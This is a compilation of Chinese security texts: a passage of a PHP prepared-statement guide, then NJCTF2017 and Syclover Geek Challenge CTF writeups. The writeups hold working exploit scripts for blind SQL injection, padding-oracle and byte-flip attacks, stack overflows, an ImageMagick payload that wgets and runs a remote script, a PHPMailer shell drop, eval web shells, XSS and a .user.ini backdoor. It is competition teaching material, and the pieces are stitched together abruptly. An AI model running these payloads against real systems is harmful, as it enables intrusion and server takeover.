$stmt->bind_param('si',$name,$id);
$stmt->execute();

ODBC

$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
$success = odbc_execute( $stmt, array($email) );

或者

$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
$sth->execute(array(':email' => $email));

PDO

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);</p>

<p>// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

或者

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('UPDATE people SET name = :new<em>name WHERE id = :id');
$stmt->execute( array('new</em>name' => $name, 'id' => $id) );

框架

对于框架的话只要遵循框架的API就好,例如wp的查询

global $wpdb;
$wpdb->query(
    $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',
        $person_id, $person_email
    )
);
或者
global $wpdb;
$wpdb->insert( 'people',
        array(
            'person_id' => '123',
            'person_email' => 'bobby@tables.com'
        ),
    array( '%d', '%s' )
);

参考

这篇文章主要是做一个总结,有的点可能描述的不是很细致,可以自己再深入研究

NJCTF2017-writeup

Web

1. come on

此题是一个盲注,具体参考下面的脚本:

import requests def sqli(): payload = "" string = "abcdefABCDEF0123456789" for i in range(1, 100): flag = 0 j = 0 while not flag: payload = payload + string[j].encode('hex') j = j+1 url = "http://218.2.197.235:23733/?key=%df' || left((select%0bhex(flag)%0bfrom%0bflag),"+str(i)+") =0x"+payload+"%23" r = requests.get(url) if len(r.text) > 1000: flag = 1 print payload else: payload = payload[0:len(payload)-2] if __name__ == '__main__': sqli() 

得到:

3445344134333534343637423335343833303537354634443333354635333330344433333546373335313331363935463534373234393433364233353744 

最后将字符串Hex解码两次得到Flag:

NJCTF{5H0W_M3_S0M3_sQ1i_TrICk5} 

2. login

利用数据库中的字段长度进行截断,注册一个admin(后面全是空格)。

登录就可以找到flag。

3. be logical

注册账号密码进去后发现大概是一个,积分可以转换为金币,然后再历史纪录里面又可以将金币转换为积分。
第一个感觉肯定这个是逻辑漏洞,感觉积分和金币之间转换的时候,可以利用多线程来跑一下。

在积分转换为金币的页面得知Sign.php,后面猜解文件泄漏为.Sign.php.swp,vim -r xx.swp就可以恢复代码。这个签名验证的代码是将$_POST 的转换后,再加一个$code进行md5,所以想尝试把这个$code跑出来,跑了几个小时,6位以下的小写+数字跑完发现还没破解出来…

仔细理一下逻辑,发现其实应该不需要跑$code,因为后面有页面会把加密的sgin显示出来,所以完全可以先这样得到sgin然后去做其他的事情。所以尝试了一下多线程。

利用的代码

import requests import threading import re cookie = { 'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2' } s = requests.session() data = { "comment":"1", "money":"500a" } def g(): #while 1: global data,cookie mydata = data.copy() mydata['point'] = '500a' mydata['mypoint'] = '0' mydata['mymoney'] = '0' print mydata r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie) sign1 = r2.content.split('value="')[-1][:32] mydata['sign'] = sign1 r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie) print r3.content #------ def ree(): #while 1: global data,cookie idd = 0 r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie) m = re.search('<tr><td>(.*?)</td>',r.content) if m is not None: idd = m.group(1) data['id'] = idd data['username'] = "nihao" data['points'] = '500a' url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s" % (data['comment'],data['id'],data['username'],data['points'],data['money']) r = s.get(url,cookies=cookie) sign = r.content.split('value="')[-1][:32] if 'modified' in sign: print 'error',idd return 0 data['sign'] = sign r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie) if 'Success' in r1.content: print 'success',idd else: print r1.content g() ree() # re(2467) # list = [] # for i in range(5): # t = threading.Thread(target=r) # t.setDaemon(True) # t.start() # list.append(t) # for i in range(10): # t = threading.Thread(target=ree) # t.setDaemon(True) # t.start() # list.append(t) # for i in list: # i.join() 

跑了挺久感觉也不是很对,转换的时候应该是加了与数据库里面的数据进行判断,所以感觉缺少一个竞争条件。
尝试修改了money等一些参数都为500a的时候发现还是能转,发现应该是对数字做了转化,然后尝试500.0等也不行,最后测试500e1的时候发现钱加到了5000.

购买服务后,发现是图片上传的地方,可以进行图片转化,im的命令执行漏洞

poc.png

push graphic-context viewbox 0 0 640 480 image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py' pop graphic-context 

getshell后find一下没发现flag,看进程的时候发现还有人用了ew工具…看一下arp缓存得到172.17.0.19,访问时候一个邮箱系统,这个前面zctf也出了这个,PHPMailer的漏洞

curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1.php -OQueueDirectory=/tmp )@qq.com&message=aaa&submit=Send email' 

4. be admin

.index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。
进行Padding Oracle攻击的脚本:

import requests import base64 url = 'http://218.2.197.235:23737/index.php' N = 16 l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] token = '' out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for i in range(1,17): for c in range(0,256): print c l[N-i] = c token = '' for m in l: token = token + chr(m) token = base64.b64encode(token) header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token} res = requests.get(url, headers=header) data = res.content print data if 'ERROR' not in data: out[N-i] = c ^ i for y in range(i): l[N-y-1] = out[N-y-1] ^ (i+1) break print out 

可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:

<?php $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA=="); $s = "OrDinaryU5eR"; $tmp = $c; $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a')); $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d')); $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m')); $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i')); $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n')); $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11); $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11); $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11); $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11); $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11); $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11); $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11); $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11); $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11); $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11); $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11); print base64_encode($tmp); ?> 

将得到的IV放到cookie中的token,访问得到flag。

5. wallet

有个一个压缩包www.zip,密码为njctf2017。解压缩后得到admin.php,代码经过了混淆。看代码知道有个PHP弱类型的比较和一个简单的注入。

6. get flag

flag参数是通过cat命令读取文件的,用&进行连接可以执行命令。

7. pictures’s wall

开始发现admin用户不需要密码就可以登陆,进入后台,审查元素发现有一个隐藏的上传表单,修改属性后上传,提示需要root用户
依旧空密码登陆root,还是提示需要root,修改xff头,添加cookie无果,最后通过在上传的时候修改host头为127.0.0.1实现成功登陆,在后台页面出现上传表单,然后通过phtml后缀和<script languange="php"> </script>实现上传,得到shell。

8. text wall

cookie中的lists参数由一个序列化的数组和序列化字符串进行sha1运算的值组成。测试知道会对lists进行反序列化然后将数组中的值输出到页面去。
.index.php.swo有源码泄漏

可以看到类里面有个__toString(),这魔术方法会在对象被当成字符串使用的时候自动触发,并且这个方法里可以根据source变量来读取源码。所以只要在数组的元素里再构造个类对象就好了。

48391356d1a7920b7098c17b49259579975c4ed3a:1:{i:1;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}} 

flag:

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng} 

9. blog

这道题目是Ruby写的,不太懂但是还是能够做出来,我们关注到 schema.rb文件的user表:
其中有个admin的字段

我们发现在注册时,这些参数会以user[]进行传递,故我们可以在注册时,增加一个参数user[admin]=1

这样我们注册的用户就成为了管理员,之后在/users页面的源代码中找到了Flag:

NJCTF{G8msIzOC!*XzpYnOdgTx7jbniiwaUeCo} 

10. chall 1

首先这道题在Google搜索到了:

https://www.smrrd.de/nodejs-hacking-challenge-writeup.html 

做法差不多类似该篇文章中所提到的,但需要注意一点我们传过去的password参数会被MD5,因而我们需要得到MD5后为纯数字的字符串:

http://stackoverflow.com/questions/6825714/can-an-md5-hash-have-only-numbers-or-only-letters-in-it 
http://218.2.197.235:23729/admin 

因而,我们只需要不断提交上述的MD5后为数字的密码,便可在返回包中得到leak的信息,其中获得Flag:

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver} 

11. chall 2

根据第一问Flag的提示,我们在源代码中寻找:

https://www.smrrd.de/data/nodejs_hacking_challenge/nodejs_chall.zip 

文章里面其实也已经写的很清楚了,我们需要修改:app.js 和 config.js 这两个文件
需要修改的具体内容博客上面也写的非常清楚了,具体值改为我们第一问的Flag就行了
然后本地访问,并抓包,获得到session和session.sig:

Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo 

然后将本地获取到的cookie对应替换到比赛题目处,请求/admin即可获取到Flag,需要注意这里Flag的编码问题,有中文:

NJCTF{N0d5JS是世界上最好的语言,对吗?} 

12. Geuess(未做出)

时间上差一点点…

发现是一个包含,可以读取到源码

<?php function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg = '/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0, 999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); .... if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) } 

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.

后面一个就是zip包含jpg,getshell.

Reverse

1. echoserver

我们首先发现一个字符串比较,断在strcmp函数后,在栈里找到“F1@gA”。

第二步,陷入一个无限循环。

循环下面有无效call,需要跳过

一个跳转

查看目标地址的指令,都是有效的

在死循环前强行跳转

得到“F8C60EB40BF66919A77C4BD88D45DEF4”

2. on the fly

CSAW的原题吧,直接找了脚本解

from itertools import cycle import subprocess def xor(s1, s2, enc_add): return ''.join(chr(ord(a) ^ ord(b) ^ enc_add) for a,b in zip(cycle(s1), s2)) keys = [str(x)*3 for x in range(1, 500)] # pull the encoded stuff out of the program's output out, _ = subprocess.Popen(['./re300'], stdout=subprocess.PIPE).communicate() hex_enc = out.split('\n')[0].split()[-1] enc = hex_enc.decode('hex') for key in keys: enc_add = len(enc) & 0xFF; enc = xor(key, enc, enc_add) print enc 

得到NJCTF{2c3010644150e03b6630a0b3b7f8607b}

Pwn

1.vsvs

脑洞…数字22是爆破来的,然后就不知道干啥了,瞎脑洞发现可以足够长的buffer之后的字符串会被当成命令执行(name那里)

from pwn import * #context.log_level = 'debug' #context.arch='' def login(p,code): p.recvuntil('code:') p.sendline(str(code)) def handle(p,input,name): p.recvuntil('input:') p.sendline(str(input)) p.recvuntil('name?') p.sendline(str(name)) def main(): length = 1024 ''' while True: p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'ls' handle(p,'muhe',payload) length += 1 p.close() ''' p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'cat<flag' handle(p,'muhe',payload) print p.recvline() if __name__ == '__main__': main() 

2. messager

栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' LOCAL = False ''' if LOCAL: p = process('filename') else: p = remote('127.0.0.1',5555) ''' def crack_canary(): canary = "\x00" while True: if len(canary) == 8: break for item in range(0xff): canary_tmp = canary + chr(item) try: r = remote('218.2.197.234', 2090) #r = remote('127.0.0.1',5555) r.recvuntil("Welcome!\n") payload = "A"*(0x70-8) payload += canary_tmp r.send(payload) data = r.recv(100,timeout=1) if "Message received!" in data: canary += chr(item) log.info("get:{0}".format(hex(item))) break r.close() except: continue #raw_input("now,stop") log.info("[*] canary:{0}".format(hex(u64(canary)))) return canary def main(): #canary_local = 0x977e4ba376461900 canary = 0x9dccf42e364dcf00 payload = "a" *(0x70-0x8) + p64(canary) + "aaaaaaaa"+p64(0x0000000000400BC6) r = remote('218.2.197.234', 2090) r.recvuntil("Welcome!\n") r.send(payload) print r.recvline(1024,timeout=0.5) r.close() if __name__ == '__main__': main() 

Misc

1. check QQ

来QQ群签到得到flag。

2. easy crypto

第一步爆破出key

#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE* input_file = fopen("plain.txt", "rb"); FILE* output_file = fopen("cipher.txt", "rb"); if (!input_file || !output_file) { printf("Error\n"); return 0; } char key[] = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"; char p=0,t=0,c=0,r=0; int i = 0; while (i<32) { p = fgetc(input_file); c = fgetc(output_file); for (key[i] = 0x21; key[i] < (int)0x7d; ++key[i]) { r = (((key[i % strlen(key)] ^ t) + (p - t) + i*i) & 0xff); if (c == r) break; } t = p; i++; } printf("%s", key); return 0; } 

由key逆算出原文flag(我用了爆破就不写逆了)

#include <stdlib.h> #include <stdio.h> #include <string.h> char key[] = "OKIWILLLETYOUKNOWWHATTHEKEYIS"; char FLAG[32] = { 0 }; char p = 0, t = 0, c = 0; char yuanwen = 0, miwen = 0; int i = 0; char temp; int main(int argc, char **argv) { FILE* input_file = fopen("flag.txt", "rb"); while ((miwen = fgetc(input_file)) != EOF) { for (char yuanwen = 0x0; yuanwen <= (int )0x7d; ++yuanwen) { temp = (((key[i % strlen(key)] ^ t) + (yuanwen - t) + i*i) & 0xff); if (miwen == temp) { c = yuanwen; break; } } t = c; FLAG[i] = c; i++; } printf("%s\n", FLAG); return 0; } 

3. knock

附件中是两个txt文件

knock.txt:

zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx 

text.txt

...._....._.._...._..._....._...._..._..._...._...._......._._...._....._.._...._..._..._...._...._..._..._...._.._..._......._.................. 

先讲knock.txt用磁频分析,找出差不多正确的语句。

that might be easy you could find the key from this message i used fence to keep the key qfqs_ltah_mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx 

前半句已经差不多正确了,主要是后面的

通过观察可以发现,这里的词与词之间的间隔和text.txt是里面的点和下划线是差不多的。所以按这样分开,然后按照已经正常的前半句的字母对应关系翻译出来

是这样:

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg

最后的字符还是乱,但是语句里面提示了栅栏密码。所以试试,3栏时得出:

icanseetherealflag 

这就是flag了,外面加上NJCTF{}即可。

Mobile

1.safebox

暴力跑testAndroid里的check逻辑,可以得到两组解,只有一组符合要求。

package com.muhe; import javafx.beans.property.IntegerProperty; import java.util.ArrayList; public class Main { public static void main(String[] args) { String flag = "NJCTF{have"; int num1 = 48533584; System.out.println(flag + (((char)(num1 / 1000000))) + (((char)(num1 / 10000 % 100))) + (((char)(num1 / 100 % 100+10))) + "f4n}"); num1 = 48539584; System.out.println(flag + (((char) (num1 / 1000000))) + (((char) (num1 / 10000 % 100))) + (((char) (num1 / 100 % 100 + 10))) + "f4n}"); Crack ck = new Crack(); ArrayList list = new ArrayList(); int num = 10000000; while (true){ if(num>99999999){ break; } boolean ret = ck.crack(num); if(ret){ list.add(num); } num += 1; } System.out.println("Done"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } } } 
package com.muhe; /** * Created by muhe on 2017/3/11. */ public class Crack { public boolean crack(int v4) { int v11 = 3; if(v4 > 10000000 && v4 < 99999999) { int v7 = 1; int v8 = 10000000; int v3 = 1; if(Math.abs(v4 / 1000 % 100 - 36) == v11 && v4 % 1000 % 584 == 0) { int v5 = 0; while(v5 < v11) { if(v4 / v7 % 10 != v4 / v8 % 10) { v3 = 0; } else { v7 *= 10; v8 /= 10; ++v5; continue; } break; } if(v3 != 1) { return false; } return true; } } return false; } } 

得到结果

NJCTF{have05-f4n} NJCTF{have05if4n} //这个就是flag Done 48533584 48539584 

第七季极客大挑战writeup

# 第七季极客大挑战writeup

 

## misc
#### 签到题
flag就是这个
SYC{We1c0m3_To_G33k_2O!6}

#### 小彩蛋
日常关注微博:三叶草小组Syclover
私信发送flag

#### 闪的好快
原本想多来些图片,然后最好通过py脚本实现,但是为了大家都可以玩,大幅度降低图片数量,
附上脚本

“`python
import os, re
from PIL import Image
from qrtools import QR
def extractFrames(giffile, outputdir):
with Image.open(giffile) as frame:
nframes = 0
while frame:
frame.save( ‘%s/%s-%s.gif’ % (outputdir, os.path.basename(giffile), nframes ) , ‘GIF’)
nframes += 1
try:
frame.seek( nframes )
except EOFError:
break;
return True
# extract every fram
extractFrames(‘test.gif’, ‘dec3_frames’)
# read qr code in each extracted image
path=”./dec3_frames/”
nugget=”
for filename in sorted(os.listdir(path), key=lambda x: int(re.findall(r’\d+’, x)[0])):
myCode = QR(filename=path+filename)
if myCode.decode():
nugget+=myCode.data_to_string()
print nugget
“`

#### Come_game(score:50)
https://pan.baidu.com/s/1dE1zzWH
嗯,很好玩的一个小游戏,通关就有flag了

#### snow
html隐写,源代码里有key,在http://fog.misty.com/perry/ccs/snow/snow/snow.html可解密

#### 旋转跳跃
key:syclovergeek 链接: https://pan.baidu.com/s/1hsdncKs 密码: xu5b

用mp3stego就可以解出隐藏的txt文档

“`
Decode.exe -X -P syclovergeek sycgeek-mp3.mp3
“`

#### 凯撒部长的奖励(score:100)

题目描述:
>就在8月,超师傅出色地完成了上级的特遣任务,凯撒部长准备给超师傅一份特殊的奖励,兴高采烈的超师傅却只收到一长串莫名的密文,超师傅看到英语字串便满脸黑线,帮他拿到这份价值不菲的奖励吧。 密文:MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}

这里考查基本的古典密码学,标题给了很明显的提示,凯撒加密。已知flag的格式,对应一下就可以发现是向左偏移了6位。因为想让大一新生们写写程序,所以密文给得比较长,写个程序可以轻松得到flag,当然更简单的方法就是直接找个网站(比如:http://luishen.myartsonline.com/update/V1.3.html )扔进去就可以得到flag了。解出来的flag为`SYC{here_Is_yOur_rEwArd_enjOy_It_Caesar_or_call_him_vIctOr_is_a_Excellent_man_if_you_want_to_get_his_informations_you_can_join_us}`
出题人四级未过,句子中的错误望大家包涵Orz

#### MD5cracker

拿到的md5为:“`01540f319ff0cf88928c83de23l27fbb“` 放到解密网站提示格式错误,检查格式,由md5原理可得,md5为16进制得来,没有l,联想l改为1得flag

#### PEN_AND_APPLE

这道题有些脑洞,不过也是一种很常见的隐写技术,后来提示与win的type命令有关,可以找到相关资料,type命令可以用于ntfs文件写入,通过工具“`alternatestreamview“`扫描文件得到如下所示


导出数据得到

#### 藏着小秘密的流量包
这主要是一个蓝牙传输文件的过程,经查找资料可知蓝牙传输文件的协议用的是obex

再wireshark过滤一下就看到了

然后把这个文件导出解压就ok

#### 我好菜啊-杂项部分(score:150)
题目描述:
>超师傅在大一暑假的实习中遇到了几个来自985、211高校的同学,深深地被他们扎实的编程基础和极强的思维能力折服了,心里默念了一个假期的:我好菜啊!于是他决定要好好提升下自己的编程能力,刚好他拿到了一张奇怪的图片,据说这原先是一张png图片,超师傅决定用代码来还原它真正的样貌!注意:本题flag(格式不是SYC{})为 异或 运算用的key。文件下载链接:(http://pan.baidu.com/s/1slB1sKH) 学习参考链接:(http://stackoverflow.com/questions/2612720/how-to-do-bitwise-exclusive-or-of-two-strings-in-python )(http://blog.csdn.net/bisword/article/details/2777121 )(https://www.baidu.com/s?wd=%E5%BC%82%E6%88%96 )

这题想让大一的同学们了解下png图片的文件结构,在学习参考链接中可以知道png的文件头是固定的:`0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A`,然后又知道是经过异或运算得到的,异或运算又是可逆的,异或后的结果再次异或即可得到原文。所以这题的思路就很明确了:
先随便找一张正常的png图片X,分别从X和题目给的文件中读取相同字节的数据,然后进行异或运算,就可以得到异或用的key了,也就是本题的flag

因为key的长度不知道,就读取1-8个字节分别异或一遍。最后的flag为`SYc1OV3r`长度为8

## web
#### web_1(score:50)
题目描述:
>来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/a59817b3061870c0/


提示flag不在浏览器显示这一步,那就去传输过程中看看。

搞web的基础姿势,抓包get

#### web_2(score:50)

提示不是amdin,然后抓个包看看

可以猜测服务器后端使用cookie里的`whoami`和`root`的值对用户的身份进行校验,将`guest`改为`admin`,将`root`的值改为1,就成为admin用户,拿到flag了

搞web的基础姿势,简单越权get

#### Social Engineering

进入页面有一邮箱,通过社工库可以得到邮箱用户的名字,根据提示进入贴吧搜索人名,得到QQ联系方式,进入空间发现日志和留言综合判断,flag应该为域名的注册联系人手机号码,寻找域名,在qq的详细信息里找到,得到flag(所给的手机号也是指向一个人名,思路相同)

#### sqli1
从题目源码中得到提示,注入点为sycid

Payload:
“`
http://web.sycsec.com/d03e52c272e42e7c/?sycid=-1 union select 1,group_concat(id,flag),3 from `#FL4G#` –+
“`
需要注意的是:表名中有特殊符号

当然,你也可以使用SQLMAP.
“`
python sqlmap.py -u http://web.sycsec.com/d03e52c272e42e7c/?sycid=1 -D sycsqli1 -T #FL4G# –dump –hex
“`
最后得到FLAG:SYC{Sqli_1s_Not_So_Hard}

#### sqli2
1.手注
首先访问登陆抓包:

发现存在一个debug参数,我们将它的值修改为1

从返回信息中得到提示:
Only 1 row returned can you get flag.
所以,我们只需要让它返回一条数据即可
可以使用limit来构造:username=’ or 1=1 limit 0,1#

最后得到FLAG:SYC{G00d_K33p_Trying_Wish_U_Success}

2.SQLMAP
其实这道题用SQLMAP也可以跑出来
首先我们直接用–form来提取,并把debug的参数编辑为1
“`
python sqlmap.py -u http://web.sycsec.com/a2274e0e500459f7/ –form
“`
然后跑出用户名和密码

利用跑出来的用户名和密码去登陆,最后同样也能获得FLAG:

#### 127.0.0.x
localhost呢想到了X-Forwarded-For
我出这个题的时候想的是两种做法:
第一种呢是靠运气:
* 一类情况是碰巧数了有50个“滴”字,然后将X-Forwarded-For=127.0.0.50提交一次碰巧就撞到了;
* 另一类呢是爆破127.0.0.1-127.0.0.255,也是碰巧爆破一次或者爆破多次碰到了;
* 还有一类呢就是发现了“滴”的个数是在50-55范围内变化,同时联想到x的范围,然后就选了一个数(比如50),多次提交127.0.0.50做出来的。

第二种呢是洞悉原理:

我提示过rand(50,55)所以大家可以猜到后台页面是咋写的:

“`
<?php
$bingo=’127.0.0.’.rand(50,55);
echo ‘落雨声嘀嗒’;
for($i=0;$i<rand(50,55);$i++){
echo ‘滴’;
}
if ($_SERVER[“HTTP_X_FORWARDED_FOR”]===$bingo){
echo ‘flag:\’SYC{Shan_Dong_Ren_Xiong_Qi}\”;
}else{
echo ‘<br/>’;
echo ‘Only localhost can access!’;
echo ‘<br/>’;
}
?>
“`
这时的你茅厕顿开吧

#### php_is_fun

“`php
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET[‘file’];
$path = “upload/”.$_GET[‘path’];
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,’..’) > -1){
die(‘SYCwaf!’);
}

if(strpos($url,’http://127.0.0.1/’) === 0){
file_put_contents($path, file_get_contents($url));
echo “console.log($path update successed!)”;
}else{
echo “Hello.Geeker”;
}
“`

必须要127.0.0.1,然后本网页又可以输出console.log($path update successed!),其中$path可控,这也就表示file_put_contents的内容也可控了。于是可以写一句话马,但是坑点在于是要注意编码问题。url编码两次就好了。

“`
http://game.sycsec.com:50084/?path=lemon.php&file=http%253A%252f%252f127.0.0.1%252f%253Fpath%253D%253C%253Fphp%2520@eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%2526file%253Dhttp%253A%252f%252f127.0.0.1%252findex.php
“`

#### 撸啊撸

随便点击一张图片进去看看,发现有个下载按钮,我们查看一下源代码

可以看见我们点击后会从download.php下载壁纸下来,url参数是images/2.jpg,这个值是路径,我们测试一下是否存在任意文件下载

http://lol.sycsec.com/download.php?url=download.php
我们构造一个链接下载下来了一个download.php的文件

可以看见,download.php并没有对url参数做任何限制,所以导致了任意文件下载。我们继续下载

http://lol.sycsec.com/download.php?url=index.php

打开后可以在js代码里面找到另外一个文件api.php,然后将它下载下来(ps:这在浏览器里面看源代码或者抓下包都可以找到api.php这个文件的)

http://lol.sycsec.com/download.php?url=api.php

这里有个拼接的sql语句,想着是否存在sql注入,但是发现前面进行了check,看img_num和img_first变量是否为数字,不是的话则就强制转换成数字。这里其实是可以绕过的,绕过的关键点就在and身上,我们大家都知道and和&&是一样的意思,但是在php中存在一个优先级的问题,&&的优先级比=的优先级高,而=的优先级又比and的优先级高,因此这里的and其实并没有什么用,只要前面的is_numeric($img_num)为真即可绕过,即当img_num变量为数字的时候img_first可以为任意值

http://lol.sycsec.com/api.php?img_num=1&img_first=1 union select 1,2– –

可以看见是存在注入的,但是flag并不在数据库中,我们需要拿webshell

因为是Linux的系统,因此我们可以猜测路径,但是/var/www/html/并不可写,在之前的页面中我们找到了另外一个目录images,这个目录是可写的,于是我们构造下面的payload

http://lol.sycsec.com/api.php?img_num=1&img_first=1 union select 1,'<?php @eval($_POST[“cmd”])?>’ from images into outfile ‘/var/www/html/images/cmd.php’– –

可以看到已经拿到了webshell,连上菜刀即可拿到flag

#### 皓宝宝的留言板
就是一道简单的xss,仅仅过滤script,src,img,http几个字符串,通过简单测试就可以测出。

所以要利用eval去执行你的xss代码,并且要把要执行的代码进行编码

示例payload

“`
<body onload=”eval(Sting.fromCharCode(编码后的东西))”></body>
“`

#### 人生苦短

>人生苦短,我用Python

根据各种有趣的tips,和最后激动人心的神秘字符串,可以看出解题思路是:base64与base32交替解密十次
“`
import base64

def encodeFlag(flag):
for i in range(0,10):
flag=base64.b64encode(flag)
flag=base64.b32encode(flag)
return flag
def decodeFlag(flag1):
for i in range(0,10):
flag1=base64.b32decode(flag1)
flag1=base64.b64decode(flag1)
return flag1
flag=”SYC{I_L0ve_Y0u}”
flag1 = ‘神秘代码’

\# print(encodeFlag(flag))
\# print(decodeFlag(encodeFlag(flag)))

print(decodeFlag(flag1))
“`

#### 狗师傅的计算器

本题进入页面是一串符号

“`
+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- —<] >–.+ +++++ +.— —– -.<++ +[->+ ++<]> +++.- -.— —– .<+++ ++++[ ->— —-< ]>— —.< +++++ +++[- >++++ ++++< ]>++. —– —.+ +++++ ++.<
“`

解码后是welcome.php,访问之,出现计算器,计算后有两个页面,[syc.php]&[robot.txt]进入robots.txt,发现网页源码,分析之,可以通过php的伪协议进行包含
“`
Payload:
game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc
“`
得到base64的源码,解码之,得flag

#### Only number never lies to you
这道题最开始可能大家比较懵逼,但是后来提示了:dir

仔细观察页面上的提示信息,发现这串数字:151107220741**
似乎是按照时间戳来生成的,并且注意到5是加粗显示的,结合题目“Only number never lies to you” 从而知道这个15肯定应该是16才能符合现在的时间. 又根据提示dir,想到目录是根据**时间戳**来生成,而时间戳最后多出了两位**,我们可以爆破得到目录
进入后,获得新的提示:
./hello.html

之后访问该页面,发现是一处上传:

之后其实是一个通过上传.user.ini和gif文件来构成一个隐藏后门的思路
可以首先确定可上传文件的后缀,发现只能上传ini和gif后缀的文件
然后在本地创建一个.user.ini文件,内容为:
“`
auto_prepend_file=01.gif
“`
然后写一个一句话保存为01.gif
这里还需要注意一点,上传的时候需要先上传01.gif之后再上传.user.ini
否则会受到.user.ini的影响,造成无法上传了
上传后,目录下所有php文件都会去包含我们的01.gif的内容
回到我们根目录下,index.php,这时候它已经包含了我们的一句话了
从而,成功Getshell.
后来看大家写的Writeup发现很多是通过上传.php.gif上传Getshell的
当然这不是出这道题目的本意,
不过测试发现CentOS默认的2.2.15可以对x.php.任意字符 作为PHP进行解析
造成了只需要上传shell.php.gif就可以成功Getshell.

#### 上传(1)
题目设有两句引导语:
> echo ‘This type of file is forbidden’;
